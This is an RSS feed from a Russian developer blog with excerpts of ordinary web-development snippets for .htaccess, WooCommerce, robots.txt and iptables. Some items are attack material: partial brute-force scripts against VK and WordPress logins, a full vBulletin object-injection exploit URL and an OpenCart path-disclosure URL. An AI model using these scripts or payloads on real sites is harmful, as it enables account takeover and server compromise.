<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Блог разработчика Dominus&#039;a</title>
	<atom:link href="http://k0derz.ru/feed/" rel="self" type="application/rss+xml" />
	<link>https://k0derz.ru</link>
	<description>Web-программирование (PHP, MySQL, JavaScript, Python)</description>
	<lastBuildDate>Fri, 06 Nov 2020 09:07:06 +0000</lastBuildDate>
	<language>ru-RU</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.8.3</generator>

<image>
	<url>https://k0derz.ru/wp-content/uploads/2015/10/cropped-types-of-cybercrimes-tips-32x32.jpg</url>
	<title>Блог разработчика Dominus&#039;a</title>
	<link>https://k0derz.ru</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>.htaccess 301 Redirect if not work</title>
		<link>https://k0derz.ru/htaccess-301-redirect-if-not-work/</link>
					<comments>https://k0derz.ru/htaccess-301-redirect-if-not-work/#respond</comments>
		
		<dc:creator><![CDATA[Dominus]]></dc:creator>
		<pubDate>Fri, 06 Nov 2020 09:06:04 +0000</pubDate>
				<category><![CDATA[Программирование]]></category>
		<guid isPermaLink="false">https://k0derz.ru/?p=1126</guid>

					<description><![CDATA[<p>123RewriteCond %{HTTPS} off RewriteCond %{HTTP:X-Forwarded-Proto} !https RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]</p>
Запись <a href="https://k0derz.ru/htaccess-301-redirect-if-not-work/">.htaccess 301 Redirect if not work</a> впервые опубликована на сайте <a href="https://k0derz.ru">Блог разработчика Dominus'a</a>.]]></description>
		
					<wfw:commentRss>https://k0derz.ru/htaccess-301-redirect-if-not-work/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Woocommerce Export all plugin orders and real price  without coupons</title>
		<link>https://k0derz.ru/woocommerce-export-all-plugin-orders-and-real-price-without-coupons/</link>
					<comments>https://k0derz.ru/woocommerce-export-all-plugin-orders-and-real-price-without-coupons/#respond</comments>
		
		<dc:creator><![CDATA[Dominus]]></dc:creator>
		<pubDate>Wed, 20 May 2020 07:48:06 +0000</pubDate>
				<category><![CDATA[Программирование]]></category>
		<guid isPermaLink="false">https://k0derz.ru/?p=1121</guid>

					<description><![CDATA[<p>Экспорт заказов с реальной ценой без учета скидок и купонов. Добавляем кастомное поле при экспорт: 1[real_price({Order Line ID})] И ф-цию для перерасчета цены за товар: 1234567&#60;?php &#160; &#160; function real_price&#40;$id&#41;&#123; &#160; &#160; &#160; &#160; $pricer = &#160;wc_get_order_item_meta&#40;$id, '_line_subtotal'&#41;; &#160; &#160; &#160; &#160; $qty = &#160;wc_get_order_item_meta&#40;$id, '_qty'&#41;; &#160; &#160; &#160; &#160; return $pricer/$qty; &#160; &#160; &#125; [&#8230;]</p>
Запись <a href="https://k0derz.ru/woocommerce-export-all-plugin-orders-and-real-price-without-coupons/">Woocommerce Export all plugin orders and real price  without coupons</a> впервые опубликована на сайте <a href="https://k0derz.ru">Блог разработчика Dominus'a</a>.]]></description>
		
					<wfw:commentRss>https://k0derz.ru/woocommerce-export-all-plugin-orders-and-real-price-without-coupons/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Разные robots.txt для HTTP и HTTPS версий сайта</title>
		<link>https://k0derz.ru/raznye-robots-txt-dlja-http-i-https-versij-sajta/</link>
					<comments>https://k0derz.ru/raznye-robots-txt-dlja-http-i-https-versij-sajta/#respond</comments>
		
		<dc:creator><![CDATA[Dominus]]></dc:creator>
		<pubDate>Wed, 11 Jul 2018 17:12:43 +0000</pubDate>
				<category><![CDATA[Программирование]]></category>
		<guid isPermaLink="false">https://k0derz.ru/?p=1091</guid>

					<description><![CDATA[<p>В .htaccess добавляем 1RewriteRule ^robots.txt$ robots.php [QSA] В robots.php пишем следующее: 12345678910&#60;?php header&#40;'HTTP/1.1 200 OK'&#41;; header&#40;'Content-Type: text/plain'&#41;; if&#40;isset&#40;$_SERVER&#91;'HTTPS'&#93;&#41;&#41;&#123; &#160; &#160; echo file_get_contents&#40;'robots_ssl.txt', true&#41;; &#125; else&#123; &#160; &#160; echo file_get_contents&#40;'robots.txt', true&#41;; &#125; ?&#62;</p>
Запись <a href="https://k0derz.ru/raznye-robots-txt-dlja-http-i-https-versij-sajta/">Разные robots.txt для HTTP и HTTPS версий сайта</a> впервые опубликована на сайте <a href="https://k0derz.ru">Блог разработчика Dominus'a</a>.]]></description>
		
					<wfw:commentRss>https://k0derz.ru/raznye-robots-txt-dlja-http-i-https-versij-sajta/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Подключение сайта к Эвотор через API</title>
		<link>https://k0derz.ru/podkljuchenie-sajta-k-jevotor-cherez-api/</link>
					<comments>https://k0derz.ru/podkljuchenie-sajta-k-jevotor-cherez-api/#respond</comments>
		
		<dc:creator><![CDATA[Dominus]]></dc:creator>
		<pubDate>Mon, 02 Jul 2018 17:40:22 +0000</pubDate>
				<category><![CDATA[Программирование]]></category>
		<category><![CDATA[woocommerce]]></category>
		<category><![CDATA[Wordpress]]></category>
		<guid isPermaLink="false">https://k0derz.ru/?p=1057</guid>

					<description><![CDATA[<p>Всем желающим подключить кассу Эвотор к своему сайту &#8212; милости прошу на сайт разработки проектов, плагинов и сниппетов. Кусочек кода по интеграции кассы с сайта на основе WordPress и Woocommerce: 1234567891011&#60;?php add_action&#40; 'woocommerce_order_status_completed', 'evotor_payment_complete' &#41;; function evotor_payment_complete&#40; $order_id &#41;&#123; &#160; &#160;$order = wc_get_order&#40; $order_id &#41;; &#160; &#160; if&#40; $order &#41;&#123; &#160; &#160; &#160; &#160; require_once [&#8230;]</p>
Запись <a href="https://k0derz.ru/podkljuchenie-sajta-k-jevotor-cherez-api/">Подключение сайта к Эвотор через API</a> впервые опубликована на сайте <a href="https://k0derz.ru">Блог разработчика Dominus'a</a>.]]></description>
		
					<wfw:commentRss>https://k0derz.ru/podkljuchenie-sajta-k-jevotor-cherez-api/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Скрипт для простого перебора вк через мобильную версию</title>
		<link>https://k0derz.ru/skript-dlja-prostogo-perebora-vk-cherez-mobilnuju-versiju/</link>
					<comments>https://k0derz.ru/skript-dlja-prostogo-perebora-vk-cherez-mobilnuju-versiju/#respond</comments>
		
		<dc:creator><![CDATA[Dominus]]></dc:creator>
		<pubDate>Tue, 18 Apr 2017 15:43:56 +0000</pubDate>
				<category><![CDATA[Программирование]]></category>
		<category><![CDATA[Уязвимости]]></category>
		<category><![CDATA[brute-force]]></category>
		<category><![CDATA[vk]]></category>
		<category><![CDATA[vkontakte]]></category>
		<guid isPermaLink="false">http://k0derz.ru/?p=1035</guid>

					<description><![CDATA[<p>123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596#! coding: utf8 import grab,re,urllib2 from antigate import AntiGate from grab import GrabTimeoutError from time import sleep import sys,os cap_key = '' #Ваш ключ с антигейт def anti&#40;key, file&#41;: #Получение решения капчи с антигейт &#160; &#160; try: &#160; &#160; &#160; &#160; try: &#160; &#160; &#160; &#160; &#160; &#160; data = AntiGate&#40;key, file&#41; &#160; &#160; &#160; [&#8230;]</p>
Запись <a href="https://k0derz.ru/skript-dlja-prostogo-perebora-vk-cherez-mobilnuju-versiju/">Скрипт для простого перебора вк через мобильную версию</a> впервые опубликована на сайте <a href="https://k0derz.ru">Блог разработчика Dominus'a</a>.]]></description>
		
					<wfw:commentRss>https://k0derz.ru/skript-dlja-prostogo-perebora-vk-cherez-mobilnuju-versiju/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Соединение только через VPN [Linux]</title>
		<link>https://k0derz.ru/soedinenie-tolko-cherez-vpn-linux/</link>
					<comments>https://k0derz.ru/soedinenie-tolko-cherez-vpn-linux/#respond</comments>
		
		<dc:creator><![CDATA[Dominus]]></dc:creator>
		<pubDate>Sun, 16 Apr 2017 14:07:03 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[iptables]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[vpn]]></category>
		<guid isPermaLink="false">http://k0derz.ru/?p=1033</guid>

					<description><![CDATA[<p>Дропаем прямые соединения если VPN упал (соединение только через VPN): 123456789101112131415# запрещаем все входящие и исходящие iptables -P INPUT DROP iptables -P OUTPUT DROP # разрешаем уже установленные соединения и локалхост iptables -A INPUT -i lo -j ACCEPT iptables -A OUTPUT -o lo -j ACCEPT iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT iptables [&#8230;]</p>
Запись <a href="https://k0derz.ru/soedinenie-tolko-cherez-vpn-linux/">Соединение только через VPN [Linux]</a> впервые опубликована на сайте <a href="https://k0derz.ru">Блог разработчика Dominus'a</a>.]]></description>
		
					<wfw:commentRss>https://k0derz.ru/soedinenie-tolko-cherez-vpn-linux/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>WordPress Login form brute force in jQuery</title>
		<link>https://k0derz.ru/wordpress-login-form-brute-force-in-jquery/</link>
					<comments>https://k0derz.ru/wordpress-login-form-brute-force-in-jquery/#respond</comments>
		
		<dc:creator><![CDATA[Dominus]]></dc:creator>
		<pubDate>Sun, 04 Dec 2016 10:31:30 +0000</pubDate>
				<category><![CDATA[Программирование]]></category>
		<category><![CDATA[Уязвимости]]></category>
		<category><![CDATA[brutforce]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[jQuery]]></category>
		<guid isPermaLink="false">http://k0derz.ru/?p=1023</guid>

					<description><![CDATA[<p>1) Add jQuery: 1234var script = document.createElement&#40;'script'&#41;; script.src = 'https://yastatic.net/jquery/2.1.3/jquery.min.js'; script.type = 'text/javascript'; document.getElementsByTagName&#40;'head'&#41;&#91;0&#93;.appendChild&#40;script&#41;; 2) Create textarea field and paste your passwords list: 1$&#40;'body'&#41;.prepend&#40;'&#60;textarea id=&#34;pwds&#34;&#62;&#60;/textarea&#62;'&#41; 3) other part of code just paste and run: 1234567891011121314151617var passwords = $&#40;'#pwds'&#41;.val&#40;&#41;.split&#40;/\r?\n/&#41;; $&#40;'#loginform'&#41;.submit&#40;function&#40;&#41;&#123; &#160; &#160; var data = $&#40;this&#41;.serialize&#40;&#41;; &#160; &#160; var pwd = $&#40;'#user_pass'&#41;.val&#40;&#41;; &#160; &#160; $.post&#40;'/wp-login.php', data, [&#8230;]</p>
Запись <a href="https://k0derz.ru/wordpress-login-form-brute-force-in-jquery/">WordPress Login form brute force in jQuery</a> впервые опубликована на сайте <a href="https://k0derz.ru">Блог разработчика Dominus'a</a>.]]></description>
		
					<wfw:commentRss>https://k0derz.ru/wordpress-login-form-brute-force-in-jquery/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Иконки всех покемонов</title>
		<link>https://k0derz.ru/ikonki-vseh-pokemonov/</link>
					<comments>https://k0derz.ru/ikonki-vseh-pokemonov/#respond</comments>
		
		<dc:creator><![CDATA[Dominus]]></dc:creator>
		<pubDate>Thu, 08 Sep 2016 07:20:26 +0000</pubDate>
				<category><![CDATA[Программирование]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[pokemon go]]></category>
		<category><![CDATA[pokemons]]></category>
		<guid isPermaLink="false">http://k0derz.ru/?p=1012</guid>

					<description><![CDATA[<p>На &#171;пике&#187; Pokemon Go кто-то захочет украсить свой сайт/документацию иконками этих самих покемонов. На просторах уже было найдено решение: 1) Скачиваем архив 2) подключаем скрипты в наш проект 12&#60;script src=&#34;../../webcomponentsjs/webcomponents-lite.js&#34;&#62;&#60;/script&#62; &#60;link rel=&#34;import&#34; href=&#34;../poke-icon.html&#34;&#62; 3) &#171;вызвать&#187; покемона можно либо по номеру, либо по имени 12&#60;poke-icon nr=&#34;24&#34;&#62;&#60;/poke-icon&#62; &#60;poke-icon name=&#34;PIKACHU&#34;&#62;&#60;/poke-icon&#62; P.S. Привожу список всех имен покемонов, для трафика [&#8230;]</p>
Запись <a href="https://k0derz.ru/ikonki-vseh-pokemonov/">Иконки всех покемонов</a> впервые опубликована на сайте <a href="https://k0derz.ru">Блог разработчика Dominus'a</a>.]]></description>
		
					<wfw:commentRss>https://k0derz.ru/ikonki-vseh-pokemonov/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Portfolio PRO русский язык</title>
		<link>https://k0derz.ru/portfolio-pro-russkij-jazyk/</link>
					<comments>https://k0derz.ru/portfolio-pro-russkij-jazyk/#respond</comments>
		
		<dc:creator><![CDATA[Dominus]]></dc:creator>
		<pubDate>Wed, 07 Sep 2016 23:01:13 +0000</pubDate>
				<category><![CDATA[Новости]]></category>
		<guid isPermaLink="false">http://k0derz.ru/?p=1008</guid>

					<description><![CDATA[<p>Использую данный плагин для вывода порфолио вот здесь http://devtech.dp.ua/portfolio/. Из-за частых обновлений слетает перевод, если захардкодить его в самом скрипте. Поэтому решил добить отдельные языковые файлы. Ниже прикреплен архив, который следует распаковать в директорию language плагина. Скачать архив</p>
Запись <a href="https://k0derz.ru/portfolio-pro-russkij-jazyk/">Portfolio PRO русский язык</a> впервые опубликована на сайте <a href="https://k0derz.ru">Блог разработчика Dominus'a</a>.]]></description>
		
					<wfw:commentRss>https://k0derz.ru/portfolio-pro-russkij-jazyk/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>FPD OpenCart</title>
		<link>https://k0derz.ru/fpd-opencart-vulnerable/</link>
					<comments>https://k0derz.ru/fpd-opencart-vulnerable/#respond</comments>
		
		<dc:creator><![CDATA[Dominus]]></dc:creator>
		<pubDate>Fri, 12 Feb 2016 22:08:34 +0000</pubDate>
				<category><![CDATA[Уязвимости]]></category>
		<category><![CDATA[fpd]]></category>
		<category><![CDATA[opencart]]></category>
		<category><![CDATA[vulnerable]]></category>
		<guid isPermaLink="false">http://k0derz.ru/?p=988</guid>

					<description><![CDATA[<p>Full path disclosure &#8212; раскрытие абсолютного пути в OpenCart: http://localhost/systеm/stаrtup.php В самом начале файла добавить: 1234if (!defined('DIR_SYSTEM')) { &#160; &#160; header('Location: /index.php'); &#160; &#160; exit; }</p>
Запись <a href="https://k0derz.ru/fpd-opencart-vulnerable/">FPD OpenCart</a> впервые опубликована на сайте <a href="https://k0derz.ru">Блог разработчика Dominus'a</a>.]]></description>
		
					<wfw:commentRss>https://k0derz.ru/fpd-opencart-vulnerable/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Уведомление если ваши данные слили</title>
		<link>https://k0derz.ru/notify-if-your-data-leaked/</link>
					<comments>https://k0derz.ru/notify-if-your-data-leaked/#respond</comments>
		
		<dc:creator><![CDATA[Dominus]]></dc:creator>
		<pubDate>Thu, 19 Nov 2015 12:45:32 +0000</pubDate>
				<category><![CDATA[Новости]]></category>
		<guid isPermaLink="false">http://k0derz.ru/?p=974</guid>

					<description><![CDATA[<p>Хочу порекомендовать отличный сервис. Был на него подписан с момента запуска, но проявил он себя на прошлой неделе, когда пришло уведомление, что мой e-mail и пароль были слиты в паблик. Хорошо, что дело шло о вэб-хостинге, которым пользовался в 2006 или 2007 году &#8212; 000webhost. Переходим по ссылке https://rbnhd.com/#check и проверяем свое мыло. Немного ниже [&#8230;]</p>
Запись <a href="https://k0derz.ru/notify-if-your-data-leaked/">Уведомление если ваши данные слили</a> впервые опубликована на сайте <a href="https://k0derz.ru">Блог разработчика Dominus'a</a>.]]></description>
		
					<wfw:commentRss>https://k0derz.ru/notify-if-your-data-leaked/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Эксплоит под vBulletin [decodeArguments]</title>
		<link>https://k0derz.ru/vbulletin-exploit-v5/</link>
					<comments>https://k0derz.ru/vbulletin-exploit-v5/#respond</comments>
		
		<dc:creator><![CDATA[Dominus]]></dc:creator>
		<pubDate>Thu, 05 Nov 2015 06:37:08 +0000</pubDate>
				<category><![CDATA[Уязвимости]]></category>
		<guid isPermaLink="false">http://k0derz.ru/?p=971</guid>

					<description><![CDATA[<p>В паблик запостили сплойт под vBulletin последних версий. Ниже код пруфа, который выводит phpinfo. PoC: 1http://localhost/vbforum/ajax/api[/]hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2a%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2a%00recordset%22%3Bi%3A1%3B%7D via: https://blog.sucuri.net/2015/11/vbulletin-exploits-in-the-wild.html</p>
Запись <a href="https://k0derz.ru/vbulletin-exploit-v5/">Эксплоит под vBulletin [decodeArguments]</a> впервые опубликована на сайте <a href="https://k0derz.ru">Блог разработчика Dominus'a</a>.]]></description>
		
					<wfw:commentRss>https://k0derz.ru/vbulletin-exploit-v5/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
